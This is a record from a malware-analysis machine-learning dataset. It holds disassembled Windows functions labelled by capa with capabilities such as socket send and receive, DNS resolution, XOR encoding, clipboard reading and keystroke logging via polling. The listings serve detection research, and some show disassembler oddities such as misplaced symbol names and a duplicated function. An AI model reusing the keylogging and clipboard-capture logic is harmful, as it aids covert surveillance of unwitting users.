joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400c95b0
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 0x18], rbp
push rsi
push r14
push r15
mov eax, 0x2040
call fcn.1400ea080
sub rsp, rax
mov r14, rcx
mov r15, r9
mov rcx, rdx
mov rsi, r8
mov rbp, rdx
call fcn.1400cc5a0
test al, al
jne 0x1400c95e6
mov al, 1
jmp 0x1400c96ca
mov dword [r14 + 0x30], 0
lea rdx, [rsp + 0x40]
mov rcx, qword [rbp + 8]
xor r9d, r9d
mov qword [rsp + 0x2060], rbx
mov r8d, 0x2000
mov qword [rsp + 0x2068], rdi
call qword [sym.imp.WS2_32.dll_recv]
mov edi, eax
cmp eax, 0xffffffff
je 0x1400c9686
movzx ebx, byte [rsp + 0x30]
test edi, edi
je 0x1400c96af
jle 0x1400c9667
mov rcx, qword [rsi + 0x68]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rdx, qword [rsi + 0x38]
lea r9, [rsp + 0x40]
movsxd rax, edi
lea rcx, [rsi + 0x30]
add r9, rax
mov byte [rsp + 0x20], bl
lea r8, [rsp + 0x40]
call fcn.1400c0420
mov rcx, qword [rsi + 0x68]
cmp dword [rcx + 8], 0xffffffff
jge 0x1400c9667
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rcx, qword [rbp + 8]
lea rdx, [rsp + 0x40]
xor r9d, r9d
mov r8d, 0x2000
call qword [sym.imp.WS2_32.dll_recv]
mov edi, eax
cmp eax, 0xffffffff
jne 0x1400c9622
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x1400c96af
mov rcx, qword [rsi + 0x30]
cmp qword [rsi + 0x38], rcx
je 0x1400c96ab
mov r8, r15
mov rdx, rsi
mov rcx, r14
call int.1400c9370
mov al, 1
jmp 0x1400c96ba
mov rax, qword [r14]
mov rcx, r14
call qword [rax + 0x60]
xor al, al
mov rbx, qword [rsp + 0x2060]
mov rdi, qword [rsp + 0x2068]
mov rbp, qword [rsp + 0x2070]
add rsp, 0x2040
pop r15
pop r14
pop rsi
ret

Function at 0x1400c9770
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push r14
sub rsp, 0x20
mov r14, rcx
mov rbx, r8
mov rcx, rdx
mov rbp, rdx
call fcn.1400cc640
test al, al
je 0x1400c983e
mov rcx, qword [rbx + 0x60]
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rdi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov r8, qword [rbx + 0x50]
mov r9, qword [rbx + 0x48]
cmp r8, r9
je 0x1400c9824
mov rdx, r9
nop dword [rax]
mov rcx, qword [rbp + 8]
sub r8d, r9d
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x1400c9813
mov rsi, qword [rbx + 0x48]
movsxd rdx, eax
add rdx, rsi
cmp rsi, rdx
je 0x1400c97fe
mov rdi, qword [rbx + 0x50]
mov rcx, rsi
sub rdi, rdx
mov r8, rdi
call fcn.1400ebf20
lea rax, [rdi + rsi]
mov qword [rbx + 0x50], rax
mov rax, qword [rbx + 0x50]
mov rdx, qword [rbx + 0x48]
mov r8d, eax
mov r9d, edx
cmp rax, rdx
jne 0x1400c97c0
jmp 0x1400c9824
mov rax, qword [r14]
mov rcx, r14
call qword [rax + 0x60]
mov rax, qword [rbx + 0x48]
mov qword [rbx + 0x50], rax
mov rcx, qword [rbx + 0x60]
cmp dword [rcx + 8], 0xffffffff
jge 0x1400c9834
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov rdx, qword [rcx + 8]
test rdx, rdx
je 0x1400ca7c2
lea r8, [rcx + 0x68]
jmp 0x1400c9770
ret
Function at 0x1400c9d90
Capabilities:
Create thread
Resolve dns

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x80
movzx eax, byte [rsp + 0xc8]
mov rbx, 0xffffffffffffffff
mov rbp, r8
mov byte [rcx + 0x168], al
mov r8, rbx
mov byte [rcx + 0x60], 1
mov r14, r9
mov rsi, rdx
mov rdi, rcx
inc r8
cmp byte [rdx + r8], 0
jne 0x1400c9dd3
add rcx, 0x170
call fcn.140019990
nop dword [rax]
inc rbx
cmp byte [rbx + rbp], 0
jne 0x1400c9df0
mov r8, rbx
lea rcx, [rdi + 0x190]
mov rdx, rbp
call fcn.140019990
xorps xmm0, xmm0
mov dword [rsp + 0x58], 1
xorps xmm1, xmm1
mov dword [rsp + 0x5c], 6
xor r15d, r15d
lea r9, [rdi + 0x58]
lea r8, [rsp + 0x50]
mov qword [rsp + 0x50], r15
mov rdx, rbp
mov rcx, rsi
movdqu xmmword [rsp + 0x60], xmm0
movdqu xmmword [rsp + 0x70], xmm1
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x1400c9e57
mov byte [rdi + 0x60], 3
jmp 0x1400c9f26
mov rax, qword [rdi + 0x58]
mov rcx, rdi
mov r9d, dword [rax + 0xc]
mov r8d, dword [rax + 8]
mov edx, dword [rax + 4]
call fcn.1400c90b0
test al, al
jne 0x1400c9e7d
mov byte [rdi + 0x60], 3
xor eax, eax
jmp 0x1400c9f26
cmp byte [rsp + 0xc0], r15b
je 0x1400c9f10
mov ecx, 0x28
call fcn.1400e9d24
test rax, rax
je 0x1400c9ebc
lea rcx, [fcn.1400c9f70]
mov qword [rax], r14
mov qword [rax + 0x20], rcx
mov dword [rax + 8], 0x320
mov dword [rax + 0x10], 0xa
mov qword [rax + 0x18], rdi
jmp 0x1400c9ebf
mov rax, r15
lea rcx, [rsp + 0x38]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x1400c99c0]
xor ecx, ecx
mov dword [rsp + 0x20], r15d
xor edx, edx
call fcn.1400f7738
mov qword [rsp + 0x30], rax
test rax, rax
je 0x1400c9f43
cmp dword [rsp + 0x38], r15d
je 0x1400c9f5b
movaps xmm0, xmmword [rsp + 0x30]
lea rcx, [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
call fcn.1400e9024
test eax, eax
jne 0x1400c9f53
jmp 0x1400c9e76
mov r9, r14
mov edx, 0xa
mov r8d, 0x320
mov rcx, rdi
call fcn.1400c9f70
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
mov ecx, 6
mov dword [rsp + 0x38], r15d
call fcn.1400e93c0
int3
mov ecx, eax
call fcn.1400e9384
int3
mov ecx, 1
call fcn.1400e93c0
int3
Function at 0x1400c9f70
Capabilities:
Connect socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov rsi, r9
mov r13d, r8d
mov r15d, edx
mov r12, rcx
mov r14d, edx
test edx, edx
jle 0x1400ca09c
mov ebp, 1
nop dword [rax + rax]
mov rax, qword [r12 + 0x58]
mov r8d, dword [rax + 0x10]
mov rdx, qword [rax + 0x20]
mov rax, qword [r12 + 8]
mov rcx, qword [rax + 8]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x1400ca0d1
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
cmp eax, 0x274d
jne 0x1400ca035
test rsi, rsi
je 0x1400ca085
mov rbx, qword [rsi]
mov rdi, qword [rsi + 8]
cmp rbx, rdi
je 0x1400ca085
nop dword [rax]
mov rcx, qword [rbx + 0x38]
test rcx, rcx
je 0x1400ca02a
mov dword [rsp + 0x78], r14d
lea r8, [rsp + 0x78]
mov dword [rsp + 0x20], ebp
lea rdx, [rsp + 0x20]
mov rax, qword [rcx]
mov r9, qword [rax + 0x10]
call r9
cmp al, 1
je 0x1400ca085
add rbx, 0x40
cmp rbx, rdi
jne 0x1400ca000
jmp 0x1400ca085
cmp edx, 0x274c
jne 0x1400ca0c5
test rsi, rsi
je 0x1400ca085
mov rbx, qword [rsi]
mov rdi, qword [rsi + 8]
cmp rbx, rdi
je 0x1400ca085
mov rcx, qword [rbx + 0x38]
test rcx, rcx
je 0x1400ca07c
mov dword [rsp + 0x78], r14d
lea r8, [rsp + 0x78]
mov dword [rsp + 0x20], ebp
lea rdx, [rsp + 0x20]
mov rax, qword [rcx]
mov r9, qword [rax + 0x10]
call r9
cmp al, 1
je 0x1400ca085
add rbx, 0x40
cmp rbx, rdi
jne 0x1400ca052
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
dec r15d
inc ebp
test r15d, r15d
jg 0x1400c9fb0
mov byte [r12 + 0x60], 3
mov eax, 0xffffffff
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov rax, qword [r12]
mov rcx, r12
call qword [rax + 0x68]
jmp 0x1400ca0a2
mov rcx, qword [r12 + 8]
xor edx, edx
call fcn.1400cc6e0
xor edx, edx
mov byte [r12 + 0x60], 2
lea rcx, [rsp + 0x28]
call fcn.1400c8450
mov rax, qword [r12]
lea r8, [rsp + 0x28]
xor edx, edx
mov dword [rsp + 0x30], select
mov rcx, r12
mov byte [rsp + 0x28], 0
call qword [rax + 0x40]
mov rax, qword [r12]
mov rcx, r12
call qword [rax + ioctlsocket]
test rsi, rsi
je 0x1400ca16a
mov rbx, qword [rsi]
mov rdi, qword [rsi + 8]
cmp rbx, rdi
je 0x1400ca16a
nop dword [rax + rax]
mov rcx, qword [rbx + 0x38]
test rcx, rcx
je 0x1400ca161
mov dword [rsp + 0x78], 0xffffffff
lea r8, [rsp + 0x78]
mov dword [rsp + 0x20], 0xffffffff
lea rdx, [rsp + 0x20]
mov rax, qword [rcx]
mov r9, qword [rax + 0x10]
call r9
cmp al, 1
je 0x1400ca16a
add rbx, 0x40
cmp rbx, rdi
jne 0x1400ca130
xor eax, eax
jmp 0x1400ca0a7
Function at 0x1400ca7b0
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push r14
sub rsp, 0x20
mov r14, rcx
mov rbx, r8
mov rcx, rdx
mov rbp, rdx
call fcn.1400cc640
test al, al
je 0x1400c983e
mov rcx, qword [rbx + 0x60]
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rdi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov r8, qword [rbx + 0x50]
mov r9, qword [rbx + 0x48]
cmp r8, r9
je 0x1400c9824
mov rdx, r9
nop dword [rax]
mov rcx, qword [rbp + 8]
sub r8d, r9d
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x1400c9813
mov rsi, qword [rbx + 0x48]
movsxd rdx, eax
add rdx, rsi
cmp rsi, rdx
je 0x1400c97fe
mov rdi, qword [rbx + 0x50]
mov rcx, rsi
sub rdi, rdx
mov r8, rdi
call fcn.1400ebf20
lea rax, [rdi + rsi]
mov qword [rbx + 0x50], rax
mov rax, qword [rbx + 0x50]
mov rdx, qword [rbx + 0x48]
mov r8d, eax
mov r9d, edx
cmp rax, rdx
jne 0x1400c97c0
jmp 0x1400c9824
mov rax, qword [r14]
mov rcx, r14
call qword [rax + 0x60]
mov rax, qword [rbx + 0x48]
mov qword [rbx + 0x50], rax
mov rcx, qword [rbx + 0x60]
cmp dword [rcx + 8], 0xffffffff
jge 0x1400c9834
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov rdx, qword [rcx + 8]
test rdx, rdx
je 0x1400ca7c2
lea r8, [rcx + 0x68]
jmp 0x1400c9770
ret
Function at 0x1400d2510
Capabilities:
Encode data using xor

Disassembly:
mov r11, rsp
push rbx
sub rsp, 0xa0
movups xmm0, xmmword [str.x_RSPEkuVOHYKM3.0m2p2_0I]
movzx eax, word [0x140120b38]
xor r8d, r8d
cmp dword [0x1402567d0], 2
mov rbx, rcx
movups xmm1, xmmword [0x140120b18]
mov word [rsp + 0x50], ax
movups xmmword [rsp + 0x20], xmm0
movups xmm0, xmmword [0x140120b28]
movups xmmword [rsp + 0x30], xmm1
movups xmmword [rsp + 0x40], xmm0
jl 0x1400d26c7
movdqa xmm5, xmmword [0x140119390]
lea rcx, [rsp + 0x20]
movdqa xmm4, xmmword [0x1401193f0]
mov eax, 5
movaps xmmword [r11 - 0x18], xmm6
movaps xmmword [r11 - 0x28], xmm7
movdqa xmm7, xmmword [0x1401193b0]
movaps xmmword [r11 - 0x38], xmm8
movd xmm6, eax
mov eax, 0x1f
movaps xmmword [r11 - 0x48], xmm9
movdqa xmm9, xmmword [0x1401193c0]
movd xmm8, eax
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
pxor xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
pxor xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x18
jl 0x1400d25b0
movaps xmm9, xmmword [rsp + 0x60]
movaps xmm8, xmmword [rsp + 0x70]
movaps xmm7, xmmword [rsp + 0x80]
movaps xmm6, xmmword [rsp + 0x90]
cmp r8d, 0x19
jge 0x1400d2718
movsxd rax, r8d
lea r9, [rsp + 0x20]
lea r9, [r9 + rax*2]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 2]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x31
xor word [r9 - 2], ax
cmp r8d, 0x19
jl 0x1400d26e0
xor r8d, r8d
lea rdx, [rsp + 0x20]
lea rcx, [0x1402562d0]
call fcn.1400b7b10
mov qword [rbx + 0x78], rax
add rsp, 0xa0
pop rbx
ret
Function at 0x1400daf20
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x50
xor esi, esi
mov rdi, rcx
mov r15d, select
mov qword [rsp + 0x30], rsi
xor ecx, ecx
mov qword [rsp + 0x40], rsi
mov r14d, esi
mov qword [rsp + 0x48], r15
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1400db0d2
lea ecx, [rsi + 1]
mov qword [rsp + 0x70], rbx
call qword [sym.imp.USER32.dll_GetClipboardData]
mov rbx, rax
test rax, rax
je 0x1400dafb4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
test rax, rax
je 0x1400dafab
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], sil
jne 0x1400daf86
mov rdx, rax
lea rcx, [rsp + 0x30]
call fcn.140019990
mov r15, qword [rsp + 0x48]
mov r14, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov qword [rsp + 0x78], rbp
mov qword [rsp + 0x80], r12
call qword [sym.imp.USER32.dll_CloseClipboard]
test r14, r14
je 0x1400db08d
cmp r15, 0x10
lea rax, [rsp + 0x30]
lea rbx, [rsp + 0x30]
cmovae rax, rsi
cmovae rbx, rsi
add r14, rax
cmp rbx, r14
je 0x1400db08d
movabs r12, 0x7ffffffffffffff
nop dword [rax]
cmp byte [0x140256648], 0
movsx ebp, byte [rbx]
je 0x1400db081
mov rcx, qword [rdi + 0x270]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov word [rsp + 0x20], bp
mov rbp, qword [rdi + 0x260]
cmp qword [rdi + 0x268], r12
je 0x1400db0e4
mov ecx, 0x20
call fcn.1400e9d24
movsd xmm0, qword [rsp + 0x20]
movsd qword [rax + 0x10], xmm0
mov dword [rax + 0x18], 3
inc qword [rdi + 0x268]
mov rcx, qword [rbp + 8]
mov qword [rax], rbp
mov qword [rax + 8], rcx
mov qword [rbp + 8], rax
mov qword [rcx], rax
mov byte [rdi + 0x279], 1
mov rcx, qword [rdi + 0x270]
cmp dword [rcx + 8], 0xffffffff
jge 0x1400db081
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
inc rbx
cmp rbx, r14
jne 0x1400db000
cmp r15, 0x10
jb 0x1400db0c0
lea rdx, [r15 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x1400db0b8
mov rsi, qword [rsi - 8]
add rdx, 0x27
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400db0f1
mov rcx, rsi
call fcn.1400e9d60
mov rbp, qword [rsp + 0x78]
mov r12, qword [rsp + 0x80]
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x88]
add rsp, 0x50
pop r15
pop r14
pop rdi
ret
lea rcx, str.list_too_long
call fcn.1400e8330
int3
call fcn.1400f0a1c
int3
Function at 0x1400db210
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r12
sub rsp, 0x80
mov esi, edx
movzx r12d, r9b
mov byte [rcx + 0x2c4], 0
movzx ebp, r8b
mov rbx, rcx
test r8b, r8b
je 0x1400db467
movzx edi, byte [rsp + 0xc0]
test r9b, r9b
jne 0x1400db2a1
xor edx, edx
mov ecx, esi
call qword [sym.imp.USER32.dll_MapVirtualKeyA]
mov r8d, 0x40
lea rdx, [rsp + 0x40]
mov ecx, eax
mov eax, edi
shl eax, 0x18
shl ecx, 0x10
or ecx, eax
call qword [sym.imp.USER32.dll_GetKeyNameTextA]
test eax, eax
jle 0x1400db2a1
lea rax, [rsp + 0x40]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400db286
lea rcx, [rbx + 0x2a0]
lea rdx, [rsp + 0x40]
call fcn.140019990
cmp dword [rbx + 0x2c0], 0xa2
jne 0x1400db451
cmp esi, 0xa4
jne 0x1400db451
test dil, dil
je 0x1400db2c9
mov byte [rbx + 0x2c4], 1
mov rcx, qword [rbx + 0x270]
mov qword [rsp + 0xa0], r14
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
test r12b, r12b
jne 0x1400db36c
mov r8d, esi
mov qword [rsp + 0xa8], r15
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.1400db100
mov r14, qword [rsp + 0x20]
mov r15, qword [rsp + 0x28]
mov rdi, r14
cmp r14, r15
je 0x1400db326
mov rcx, qword [rdi]
movzx edx, bpl
call fcn.1400dbc90
add rdi, 8
cmp rdi, r15
jne 0x1400db311
mov r15, qword [rsp + 0xa8]
test r14, r14
je 0x1400db36c
mov rdx, qword [rsp + 0x30]
mov rax, r14
sub rdx, r14
and rdx, 0xfffffffffffffff8
cmp rdx, 0x1000
jb 0x1400db364
mov r14, qword [r14 - 8]
add rdx, 0x27
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400db4ae
mov rcx, r14
call fcn.1400e9d60
cmp byte [0x140256648], 0
je 0x1400db413
cmp esi, 0x256
jae 0x1400db3ab
mov byte [rsi + rbx + 8], bpl
cmp byte [rbx + 0xaa], 0
je 0x1400db3ab
lea eax, [rsi - 0x56]
test eax, 0xffffffdf
jne 0x1400db3ab
test bpl, bpl
je 0x1400db3ab
test r12b, r12b
jne 0x1400db3ab
mov rcx, rbx
call fcn.1400daf20
mov rdi, qword [rbx + 0x260]
movabs rax, 0x7ffffffffffffff
mov dword [rsp + 0x20], esi
mov byte [rsp + 0x24], bpl
mov byte [rsp + 0x25], r12b
cmp qword [rbx + 0x268], rax
je 0x1400db4a1
mov ecx, 0x20
call fcn.1400e9d24
movsd xmm0, qword [rsp + 0x20]
movsd qword [rax + 0x10], xmm0
mov dword [rax + 0x18], 4
inc qword [rbx + 0x268]
mov rcx, qword [rdi + 8]
mov qword [rax], rdi
mov qword [rax + 8], rcx
mov qword [rdi + 8], rax
mov qword [rcx], rax
mov byte [rbx + 0x279], 1
test bpl, bpl
je 0x1400db41e
mov dword [rbx + 0x2c0], esi
mov rcx, qword [rbx + 0x270]
cmp dword [rcx + 8], 0xffffffff
jge 0x1400db431
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov r14, qword [rsp + 0xa0]
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r12
pop rdi
pop rsi
ret
cmp esi, 0x2e
jne 0x1400db467
lea rcx, [0x1402595f0]
call fcn.1400d7980
jmp 0x1400db2c9
cmp esi, 0x2d
jne 0x1400db2c9
test bpl, bpl
je 0x1400db2c9
test r12b, r12b
jne 0x1400db2c9
cmp byte [0x140256648], r12b
lea rcx, [0x140256640]
sete dl
call fcn.1400d3270
mov byte [rbx + 0x279], 1
jmp 0x1400db439
lea rcx, str.list_too_long
call fcn.1400e8330
int3
call fcn.1400f0a1c
int3
Function at 0x1400fc820
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400fc64c

Function at 0x1401114a0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov r9, rcx
mov eax, 0xffffffff
test edx, edx
je 0x1401114de
mov r10d, edx
lea r11, [0x140130820]
nop word [rax + rax]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
mov edx, eax
shr eax, 8
xor r8, rdx
movzx ecx, r8b
xor eax, dword [r11 + rcx*4]
sub r10, 1
jne 0x1401114c0
not eax
ret
Function at 0x413aa0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x413c2b
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.00432fc0
xorps xmm15, xmm15
mov r14, qword [0x006cd590]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
jne 0x413b05
mov rax, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
jmp 0x413b14
add rsp, 0x48
pop rbp
ret
sub rcx, rbx
add rax, rbx
mov rbx, rcx
test rbx, rbx
jbe 0x413b33
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x40], rax
mov rcx, rbx
jmp 0x413b43
cmp rbx, 0x1000
jae 0x413b0b
jmp 0x413bad
add rsp, 0x48
pop rbp
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
cmp rbx, 0x1000
jae 0x413b55
xor edx, edx
jmp 0x413ba4
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.00432fc0
xorps xmm15, xmm15
mov r14, qword [0x006cd590]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
sete al
mov rcx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x38]
mov edx, eax
mov rax, qword [rsp + 0x40]
test dl, dl
jne 0x413b39
jmp 0x413b28
call fcn.00471740
xorps xmm15, xmm15
mov r14, qword [0x006cd590]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
mov qword [rsp + 0x30], rax
call fcn.00437b20
lea rax, [0x005261dc]
mov ebx, 0x18
nop dword [rax]
call fcn.004383a0
mov rax, qword [rsp + 0x38]
call fcn.004380e0
lea rax, [0x0052682b]
mov ebx, 0x19
nop dword [rax + rax]
call fcn.004383a0
mov rax, qword [rsp + 0x30]
call fcn.004380e0
call fcn.00437d60
call fcn.00437b80
lea rax, [0x005295eb]
mov ebx, 0x21
call fcn.00468780
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.0046e000
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.00413aa0
Function at 0x413c60
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x413e86
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualAlloc]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
call fcn.00433040
xorps xmm15, xmm15
mov r14, qword [0x006cd590]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x60]
mov rcx, rax
cmp qword [rsp + 0x28], rax
je 0x413cd3
mov rbx, qword [rsp + 0x68]
mov rax, rbx
jmp 0x413ce2
add rsp, 0x50
pop rbp
ret
sub rdx, rbx
add rcx, rbx
mov rbx, rdx
test rbx, rbx
jbe 0x413d05
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rcx
mov rdx, rbx
jmp 0x413d15
cmp rbx, 0x1000
jae 0x413cd9
nop
jmp 0x413d98
add rsp, 0x50
pop rbp
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
nop word [rax + rax]
cmp rbx, 0x1000
jae 0x413d2d
xor esi, esi
jmp 0x413d8a
mov rax, qword [sym.imp.kernel32.dll_VirtualAlloc]
mov qword [rsp], rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
call fcn.00433040
xorps xmm15, xmm15
mov r14, qword [0x006cd590]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x28], 0
sete al
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x38]
mov esi, eax
mov rax, qword [rsp + 0x68]
test sil, sil
jne 0x413d0b
jmp 0x413cf6
call fcn.00471740
xorps xmm15, xmm15
mov r14, qword [0x006cd590]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
mov dword [rsp + 0x34], eax
cmp eax, 8
jne 0x413e20
nop dword [rax + rax]
call fcn.00437b20
lea rax, [0x00526844]
mov ebx, 0x19
call fcn.004383a0
mov rax, qword [rsp + 0x68]
nop dword [rax + rax]
call fcn.004380e0
lea rax, [0x0052682b]
mov ebx, 0x19
call fcn.004383a0
mov eax, dword [rsp + 0x34]
call fcn.004380e0
nop
call fcn.00437d60
call fcn.00437b80
lea rax, [0x00522026]
mov ebx, 0xd
call fcn.00468780
nop dword [rax + rax]
cmp eax, 0x5af
je 0x413dc0
call fcn.00437b20
lea rax, [0x00526844]
mov ebx, 0x19
call fcn.004383a0
mov rax, qword [rsp + 0x38]
call fcn.004380e0
lea rax, [0x0052682b]
mov ebx, 0x19
call fcn.004383a0
mov eax, dword [rsp + 0x34]
nop dword [rax]
call fcn.004380e0
call fcn.00437d60
call fcn.00437b80
lea rax, [0x00528d1e]
mov ebx, 0x1f
nop dword [rax + rax]
call fcn.00468780
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.0046e000
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
nop
jmp fcn.00413c60